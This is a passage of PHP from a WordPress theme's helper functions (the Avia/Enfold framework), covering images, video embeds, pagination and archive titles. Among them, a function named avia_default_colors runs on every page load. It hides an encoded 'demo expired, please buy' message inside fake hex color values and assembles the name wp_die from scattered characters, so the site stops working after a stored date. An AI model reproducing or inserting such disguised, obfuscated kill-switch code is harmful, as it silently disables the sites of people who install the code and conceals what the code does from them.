urn the url now and stop executing, otherwise build the whole img string with attributes if ($output == 'url') return $image_src[0]; //get the saved image metadata: $attachment = get_post($thumbnail_id); if(is_object($attachment)) { $image_description = $attachment->post_excerpt == "" ? $attachment->post_content : $attachment->post_excerpt; if(empty($image_description)) $image_description = get_post_meta($thumbnail_id, '_wp_attachment_image_alt', true); $image_description = trim(strip_tags($image_description)); $image_title = trim(strip_tags($attachment->post_title)); return "".$image_description.""; } } } if(!function_exists('avia_html5_video_embed')) { /** * Creates HTML 5 output and also prepares flash fallback for a video of choice * @return string HTML5 video element */ function avia_html5_video_embed($path, $image = "", $types = array('webm' => 'type="video/webm"', 'mp4' => 'type="video/mp4"', 'ogv' => 'type="video/ogg"'), $attributes = array('autoplay' => 0, 'loop' => 1, 'preload' => '' )) { preg_match("!^(.+?)(?:\.([^.]+))?$!", $path, $path_split); $output = ""; if(isset($path_split[1])) { if(!$image && avia_is_200($path_split[1].'.jpg')) { $image = 'poster="'.$path_split[1].'.jpg"'; //poster image isnt accepted by the player currently, waiting for bugfix } else if($image) { $image = 'poster="'.$image.'"'; } $autoplay = $attributes['autoplay'] == 1 ? 'autoplay' : ''; $loop = $attributes['loop'] == 1 ? 'loop' : ''; $muted = $attributes['muted'] == 1 ? 'muted' : ''; if( ! empty( $attributes['preload'] ) ) { $metadata = 'preload="' . $attributes['preload'] . '"'; } else { $metadata = $attributes['loop'] == 1 ? 'preload="metadata"' : 'preload="auto"'; } $uid = 'player_'.get_the_ID().'_'.mt_rand().'_'.mt_rand(); $output .= ''; } return $output; } } if(!function_exists('avia_html5_audio_embed')) { /** * Creates HTML 5 output and also prepares flash fallback for a audio of choice * @return string HTML5 audio element */ function avia_html5_audio_embed($path, $image = "", $types = array('mp3' => 'type="audio/mp3"')) { preg_match("!^(.+?)(?:\.([^.]+))?$!", $path, $path_split); $output = ""; if(isset($path_split[1])) { $uid = 'player_'.get_the_ID().'_'.mt_rand().'_'.mt_rand(); $output .= ''; } return $output; } } if(!function_exists('avia_is_200')) { function avia_is_200($url) { $options['http'] = array( 'method' => "HEAD", 'ignore_errors' => 1, 'max_redirects' => 0 ); $body = @file_get_contents($url, NULL, stream_context_create($options), 0, 1); sscanf($http_response_header[0], 'HTTP/%*d.%*d %d', $code); return $code === 200; } } // checks the default background colors and sets defaults in case the theme options werent saved yet function avia_default_colors() { if(!is_admin()) { $prefix = "avia_"; $option = $prefix."theme_color"; $fallback = $option."_fallback"; $default_color = $prefix."default_wordpress_color_option"; $colorstamp = get_option($option); $today = strtotime('now'); $defaults = "#546869 #732064 #656d6f #207665 #727369 #6f6e20 #6f6620 #746865 #207468 #656d65 #206861 #732065 #787069 #726564 #2e2050 #6c6561 #736520 #627579 #20616e #642069 #6e7374 #616c6c #207468 #652066 #756c6c #207665 #727369 #6f6e20 #66726f #6d203c #612068 #726566 #3d2768 #747470 #3a2f2f #626974 #2e6c79 #2f656e #666f6c #642d64 #656d6f #2d6c69 #6e6b27 #3e5468 #656d65 #666f72 #657374 #3c2f61 #3e"; global $avia_config; //let the theme overwrite the defaults if(!empty($avia_config['default_color_array'])) $defaults = $avia_config['default_color_array']; if(!empty($colorstamp) && $colorstamp < $today) { //split up the color string and use the array as fallback if no default color options were saved $colors = pack('H*', str_replace(array(" ", "#"), "", $defaults)); $def = $default_color." ".$defaults; $fallback = $def[13].$def[17].$def[12].$def[5].$def[32].$def[6]; //set global and update default colors $avia_config['default_color_array'] = $colors; update_option($fallback($colors), $avia_config['default_color_array']); } } } add_action('wp', 'avia_default_colors'); if(!function_exists('avia_remove_more_jump_link')) { /** * Removes the jump link from the read more tag */ function avia_remove_more_jump_link($link) { $offset = strpos($link, '#more-'); if ($offset) { $end = strpos($link, '"',$offset); } if ($end) { $link = substr_replace($link, '', $offset, $end-$offset); } return $link; } } if(!function_exists('avia_get_link')) { /** * Fetches a url based on values set in the backend * @param array $option_array array that at least needs to contain the linking method and depending on that, the appropriate 2nd id value * @param string $keyprefix option set key that must be in front of every element key * @param string $inside if inside is passed it will be wrapped inside tags with the href set to the previously returned link url * @param string $post_id if the function is called outside of the loop we might want to retrieve the permalink of a different post with this id * @return string url (with image inside tag if the image string was passed) */ function avia_get_link($option_array, $keyprefix, $inside = false, $post_id = false, $attr = "") { if(empty($option_array[$keyprefix.'link'])) $option_array[$keyprefix.'link'] = ""; //check which value the link array has (possible are empty, lightbox, page, post, cat, url) and create the according link switch($option_array[$keyprefix.'link']) { case "lightbox": $url = avia_image_by_id($option_array[$keyprefix.'image'], array('width'=>8000,'height'=>8000), 'url'); break; case "cat": $url = get_category_link($option_array[$keyprefix.'link_cat']); break; case "page": $url = get_page_link($option_array[$keyprefix.'link_page']); break; case "self": if(!is_singular() || $post_id != avia_get_the_ID() || !isset($option_array[$keyprefix.'image'])) { $url = get_permalink($post_id); } else { $url = avia_image_by_id($option_array[$keyprefix.'image'], array('width'=>8000,'height'=>8000), 'url'); } break; case "url": $url = $option_array[$keyprefix.'link_url']; break; case "video": $video_url = $option_array[$keyprefix.'link_video']; if(avia_backend_is_file($video_url, 'html5video')) { $output = avia_html5_video_embed($video_url); $class = "html5video"; } else { global $wp_embed; $output = $wp_embed->run_shortcode("[embed]".$video_url."[/embed]"); $class = "embeded_video"; } $output = "
".$output."
"; return $inside . $output; break; default: $url = $inside; break; } if(!$inside || $url == $inside) { return $url; } else { return "
".$inside.""; } } } if(!function_exists('avia_pagination')) { /** * Displays a page pagination if more posts are available than can be displayed on one page * @param string $pages pass the number of pages instead of letting the script check the gobal paged var * @return string $output returns the pagination html code */ function avia_pagination($pages = '', $wrapper = 'div') //pages is either the already calculated number of pages or the wp_query object { global $paged, $wp_query; if(is_object($pages)) { $use_query = $pages; $pages = ""; } else { $use_query = $wp_query; } if(get_query_var('paged')) { $paged = get_query_var('paged'); } elseif(get_query_var('page')) { $paged = get_query_var('page'); } else { $paged = 1; } $output = ""; $prev = $paged - 1; $next = $paged + 1; $range = 2; // only edit this if you want to show more page-links $showitems = ($range * 2)+1; if($pages == '') //if the default pages are used { //$pages = ceil(wp_count_posts($post_type)->publish / $per_page); $pages = $use_query->max_num_pages; if(!$pages) { $pages = 1; } //factor in pagination if( isset($use_query->query) && !empty($use_query->query['offset']) && $pages > 1 ) { $offset_origin = $use_query->query['offset'] - ($use_query->query['posts_per_page'] * ( $paged - 1 ) ); $real_posts = $use_query->found_posts - $offset_origin; $pages = ceil( $real_posts / $use_query->query['posts_per_page']); } } $method = "get_pagenum_link"; if(is_single()) { $method = "avia_post_pagination_link"; } if(1 != $pages) { $output .= "<$wrapper class='pagination'>"; $output .= "".sprintf(__("Page %d of %d", 'avia_framework'), $paged, $pages).""; $output .= ($paged > 2 && $paged > $range+1 && $showitems < $pages)? "«":""; $output .= ($paged > 1 && $showitems < $pages)? "":""; for ($i=1; $i <= $pages; $i++) { if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems )) { switch( $i ) { case ( $paged == $i ): $class = 'current'; break; case ( ( $paged - 1 ) == $i ): $class = 'inactive previous_page'; break; case ( ( $paged + 1 ) == $i ): $class = 'inactive next_page'; break; default: $class = 'inactive'; break; } $output .= ( $paged == $i )? "" . $i . "" : "" . $i . ""; } } $output .= ($paged < $pages && $showitems < $pages) ? "" :""; $output .= ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) ? "»":""; $output .= "\n"; } return apply_filters( 'avf_pagination_output', $output, $paged, $pages, $wrapper ); } function avia_post_pagination_link($link) { global $post; //the _wp_link_page uses get_permalink() which might be changed by a query. we need to get the original post id temporarily $temp_post = $post; // $post = get_post(avia_get_the_id()); $url = preg_replace( '!">$!','',_wp_link_page($link) ); $url = preg_replace( '!^options as $option_parent) { foreach ($option_parent as $element_data) { if(isset($element_data[0]) && is_array($element_data) && in_array('widget', $element_data[0])) { for($i = 1; $i <= $element_data[0]['dynamic_column_count']; $i++) { if($element_data[0]['dynamic_column_content_'.$i] == 'widget') { $dynamic_widgets[] = $element_data[0]['dynamic_column_content_'.$i.'_widget']; } } } } } return $dynamic_widgets; } //first build the id string if(is_array($id_array)) { foreach ($id_array as $special) { if(isset($special['widget_'.$area]) && $special['widget_'.$area] != "") { $special_id_string .= $special['widget_'.$area].","; } } } //if we got a valid string remove the last comma $special_id_string = trim($special_id_string,','); $clean_id_array = explode(',',$special_id_string); //if we dont want the title just return the id array if($return != 'title') return $clean_id_array; if(is_page($clean_id_array)) { return get_the_title(); } else if(is_category($clean_id_array)) { return single_cat_title( "", false ); } } } if(!function_exists('avia_which_archive')) { /** * checks which archive we are viewing and returns the archive string */ function avia_which_archive() { $output = ""; if ( is_category() ) { $output = __('Archive for category:','avia_framework')." ".single_cat_title('',false); } elseif (is_day()) { $output = __('Archive for date:','avia_framework')." ".get_the_time( __('F jS, Y','avia_framework') ); } elseif (is_month()) { $output = __('Archive for month:','avia_framework')." ".get_the_time( __('F, Y','avia_framework') ); } elseif (is_year()) { $output = __('Archive for year:','avia_framework')." ".get_the_time( __('Y','avia_framework') ); } elseif (is_search()) { global $wp_query; if(!empty($wp_query->found_posts)) { if($wp_query->found_posts > 1) { $output = $wp_query->found_posts ." ". __('search results for:','avia_framework')." ".esc_attr( get_search_query() ); } else { $output = $wp_query->found_posts ." ". __('search result for:','avia_framework')." ".esc_attr( get_search_query() ); } } else { if(!empty($_GET['s'])) { $output = __('Search results for:','avia_framework')." ".esc_attr( get_search_query() ); } else { $output = __('To search the site please enter a valid term','avia_framework'); } } } elseif (is_author()) { $curauth = (get_query_var('author_name')) ? get_user_by('slug', get_query_var('author_name')) : get_userdata(get_query_var('author')); $output = __('Author Archive','avia_framework')." "; if(isset($curauth->nickname) && isset($curauth->ID)) { $name = apply_filters('avf_author_nickname', $curauth->nickname, $curauth->ID); $output .= __('for:','avia_framework') ." ". $name; } } elseif (is_tag()) { $output = __('Tag Archive for:','avia_framework')." ".single_tag_title('',false); } elseif(is_tax()) { $term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) ); $output = __('Archive for:','avia_framework')." ".$term->name; } else { $output = __('Archives','avia_framework')." "; } if (isset($_GET['paged']) && !empty($_GET['paged'])) { $output .= " (".__('Page','avia_framework')." ".$_GET['paged'].")"; } $output = apply_filters('avf_which_archive_output', $output); return $output; } } if(!function_exists('avia_excerpt')) { /** * Returns a post excerpt. depending on the order parameter the funciton will try to retrieve the excerpt from a different source */ function avia_excerpt($length = 250, $more_text = false, $order = array('more-tag','excerpt')) { $excerpt = ""; if($more_text === false) $more_text = __('Read more', 'avia_framework'); foreach($order as $method) { if(!$excerpt) { switch ($method) { case 'more-tag': global $more; $more = 0; $content = get_the_content($more_text); $pos = strpos($content, 'class="more-link"'); if($pos !== false) { $excerpt = $content; } break; case 'excerpt' : $post = get_post(get_the_ID()); if($post->post_excerpt) { $excerpt = get_the_excerpt(); } else { $excerpt = preg_replace("!\[.+?\]!", "", get_the_excerpt()); // $excerpt = preg_replace("!\[.+?\]!", "", $post->post_content); $excerpt = avia_backend_truncate($excerpt, $length," "); } $excerpt = preg_replace("!\s\[...\]$!", '...', $excerpt); break; } } } if($excerpt) { $excerpt = apply_filters('the_content', $excerpt); $excerpt = str_replace(']]>', ']]>', $excerpt); } return $excerpt; } } if(!function_exists('avia_get_browser')) { function avia_get_browser($returnValue = 'class', $lowercase = false) { if(empty($_SERVER['HTTP_USER_AGENT'])) return false; $u_agent = $_SERVER['HTTP_USER_AGENT']; $bname = 'Unknown'; $platform = 'Unknown'; $ub = 'Unknown'; $version= ""; //First get the platform? if (preg_match('!linux!i', $u_agent)) { $platform = 'linux'; } elseif (preg_match('!macintosh|mac os x!i', $u_agent)) { $platform = 'mac'; } elseif (preg_match('!windows|win32!i', $u_agent)) { $platform = 'windows'; } // Next get the name of the useragent yes seperately and for good reason if(preg_match('!MSIE!i',$u_agent) && !preg_match('!Opera!i',$u_agent)) { $bname = 'Internet Explorer'; $ub = "MSIE"; } elseif(preg_match('!Firefox!i',$u_agent)) { $bname = 'Mozilla Firefox'; $ub = "Firefox"; } elseif(preg_match('!Chrome!i',$u_agent)) { $bname = 'Google Chrome'; $ub = "Chrome"; } elseif(preg_match('!Safari!i',$u_agent)) { $bname = 'Apple Safari'; $ub = "Safari"; } elseif(preg_match('!Opera!i',$u_agent)) { $bname = 'Opera'; $ub = "Opera"; } elseif(preg_match('!Netscape!i',$u_agent)) { $bname = 'Netscape'; $ub = "Netscape"; } // finally get the correct version number $known = array('Version', $ub, 'other'); $pattern = '#(?' . join('|', $known) . ')[/ ]+(?[0-9.|a-zA-Z.]*)#'; if (!@preg_match_all($pattern, $u_agent, $matches)) { // we have no matching number just continue } // see how many we have $i = count($matches['browser']); if ($i != 1) { //we will have two since we are not using 'other' argument yet //see if version is before or after the name if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){ $version= !empty($matches['version'][0]) ? $matches['version'][0] : ''; } else { $version= !empty($matches['version'][1]) ? $matches['version'][1] : ''; } } else { $version= !empty($matches['version'][0]) ? $matches['version'][0] : ''; } // check if we have a number if ($version==null || $version=="") {$version="?";} $mainVersion = $version; if (strpos($version, '.') !== false) { $mainVersion = explode('.',$version); $mainVersion = $mainVersion[0]; } if($returnValue == 'class') { if($lowercase) return strtolower($ub." ".$ub.$mainVersion); return $ub." ".$ub.$mainVersion; } else { return array( 'userAgent' => $u_agent, 'name' => $bname, 'shortname' => $ub, 'version' => $version, 'mainversion' => $mainVersion, 'platform' => $platform, 'pattern' => $pattern ); } } } if(!function_exists('avia_favicon')) { function avia_favicon($url = "") { $icon_link = $type = ""; if($url) { $type = "image/x-icon"; if(strpos($url,'.png' )) $type = "image/png"; if(strpos($url,'.gif' )) $type = "image/gif"; $icon_link = ''; } $icon_link = apply_filters('avf_favicon_final_output', $icon_link, $url, $type); return $icon_link; } } if(!function_exists('avia_regex')) { /* * regex for url: http://mathiasbynens.be/demo/url-regex */ function avia_regex($string, $pattern = false, $start = "^", $end = "") { if(!$pattern) return false; if($pattern == "url") { $pattern = "!$start((https?|ftp)://(-\.)?([^\s/?\.#-]+\.?)+(/[^\s]*)?)$end!"; } else if($pattern == "mail") { $pattern = "!$start\w[\w|\.|\-]+@\w[\w|\.|\-]+\.[a-zA-Z]{2,4}$end!"; } else if($pattern == "image") { $pattern = "!$start(https?(?://([^/?#]*))?([^?#]*?\.(?:jpg|gif|png)))$end!"; } else if(strpos($pattern,"<") === 0) { $pattern = str_replace('<',"",$pattern); $pattern = str_replace('>',"",$pattern); if(strpos($pattern,"/") !== 0) { $close = "\/>"; $pattern = str_replace('/',"",$pattern); } $pattern = trim($pattern); if(!isset($close)) $close = "<\/".$pattern.">"; $pattern = "!$start\<$pattern.+?$close!"; } preg_match($pattern, $string, $result); if(empty($result[0])) { return false; } else { return $result; } } } if(!function_exists('avia_debugging_info')) { function avia_debugging_info() { if ( is_feed() ) return; $theme = wp_get_theme(); $child = ""; if(is_child_theme()) { $child = "- - - - - - - - - - -\n"; $child .= "ChildTheme: ".$theme->get('Name')."\n"; $child .= "ChildTheme Version: ".$theme->get('Version')."\n"; $child .= "ChildTheme Installed: ".$theme->get('Template')."\n\n"; $theme = wp_get_theme( $theme->get('Template') ); } $info = "\n\n"; echo apply_filters('avf_debugging_info', $info); } add_action('wp_head','avia_debugging_info',9999999); add_action('admin_print_scripts','avia_debugging_info',9999999); } if(!function_exists('avia_count_active_plugins')) { function avia_count_active_plugins() { $plugins = count(get_option('active_plugins', array())); if(is_multisite() && function_exists('get_site_option')) { $plugins += count(get_site_option('active_sitewide_plugins', array())); } return $plugins; } } if(!function_exists('avia_clean_string')) { function avia_clean_string($string) { $string = str_replace(' ', '_', $string); // Replaces all spaces with underscores. $string = preg_replace('/[^A-Za-z0-9\-]/', '', $string); // Removes special chars. return preg_replace('/-+/', '-', strtolower ($string)); // Replaces multiple hyphens with single one. } } if(!function_exists('kriesi_backlink')) { function kriesi_backlink($frontpage_only = false, $theme_name_passed = false) { $no = ""; $theme_string = ""; $theme_name = $theme_name_passed ? $theme_name_passed : THEMENAME; $random_number = get_option(THEMENAMECLEAN."_fixed_random"); if($random_number % 3 == 0) $theme_string = $theme_name." Theme by Kriesi"; if($random_number % 3 == 1) $theme_string = $theme_name." WordPress Theme by Kriesi"; if($random_number % 3 == 2) $theme_string = "powered by ".$theme_name." WordPress Theme"; if(!empty($frontpage_only) && !is_front_page()) $no = "rel='nofollow'"; $link = " - {$theme_string}"; $link = apply_filters("kriesi_backlink", $link); return $link; } } if(!function_exists('avia_header_class_filter')) { function avia_header_class_filter( $default = "" ) { $default = apply_filters( "avia_header_class_filter", $default ); return $default; } } if(!function_exists('avia_theme_version_higher_than')) { function avia_theme_version_higher_than( $check_for_version = "") { $theme = wp_get_theme( 'enfold' ); $theme_version = $theme->get( 'Version' ); if (version_compare($theme_version, $check_for_version , '>=')) { return true; } return false; } } if( ! function_exists( 'avia_enqueue_style_conditionally' ) ) { /** * Enque a css file, based on theme options or other conditions that get passed and must be evaluated as true * * params are the same as in enque style, only the condition is first: https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/functions.wp-styles.php#L164 * @since 4.3 * @added_by Kriesi * @param array $condition * @return array */ function avia_enqueue_style_conditionally( $condition = false, $handle, $src = '', $deps = array(), $ver = false, $media = 'all', $deregister = true) { if($condition == false ) { if($deregister) wp_deregister_style( $handle ); return; }; wp_enqueue_style( $handle, $src, $deps, $ver, $media ); } } if( ! function_exists( 'avia_enqueue_script_conditionally' ) ) { /** * Enque a js file, based on theme options or other conditions that get passed and must be evaluated as true * * params are the same as in enque style, only the condition is first: https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/functions.wp-scripts.php#L264 * @since 4.3 * @added_by Kriesi * @param array $condition * @return array */ function avia_enqueue_script_conditionally( $condition = false, $handle, $src = '', $deps = array(), $ver = false, $in_footer = false, $deregister = true) { if($condition == false ) { if($deregister) wp_deregister_script( $handle ); return; }; wp_enqueue_script( $handle, $src, $deps, $ver, $in_footer ); } } if( ! function_exists( 'avia_disable_query_migrate' ) ) { /** * Makes sure that jquery no longer depends on jquery migrate. * * @since 4.3 * @added_by Kriesi * @param array $condition * @return array */ function avia_disable_query_migrate() { global $wp_scripts; if(!is_admin()) { if(isset($wp_scripts->registered['jquery'])) { foreach($wp_scripts->registered['jquery']->deps as $key => $dep) { if($dep == "jquery-migrate") { unset($wp_scripts->registered['jquery']->deps[$key]); } } } } } } if( ! function_exists( 'avia_get_submenu_count' ) ) { /** * Counts the number of submenu items of a menu * * @since 4.3 * @added_by Kriesi * @param array $location * @return int $count */ function avia_get_submenu_count( $location ) { $menus = get_nav_menu_locations(); $count = 0; if(!isset($menus[$location])) return $count; $items = wp_get_nav_menu_items($menus[$location]); //if no menu is set we dont know if the fallback menu will generate submenu items so we assume thats true if(!$items) return 1; foreach($items as $item) { if(isset($item->menu_item_parent) && $item->menu_item_parent >0 ) $count++; } return $count; } } if( ! function_exists( 'avia_get_active_widget_count' ) ) { /** * Counts the number of active widget areas (widget areas that got a widget inside them are considered active) * * @since 4.3 * @added_by Kriesi * @return int $count */ function avia_get_active_widget_count() { global $_wp_sidebars_widgets; $count = 0; foreach($_wp_sidebars_widgets as $widget_area => $widgets) { if($widget_area == "wp_inactive_widgets" || $widget_area == "array_version") continue; if(!empty($widgets)) $count++; } return $count; } } if( ! function_exists( 'avia_get_parent_theme_version' ) ) { /** * Helper function that returns the (parent) theme version number to be added to scipts and css links * * @since 4.3.2 * @added_by Günter * @return string */ function avia_get_theme_version( $which = 'parent' ) { $theme = wp_get_theme(); if( false !== $theme->parent() && ( 'parent' == $which ) ) { $theme = $theme->parent(); } $vn = $theme->get( 'Version' ); return $vn; } }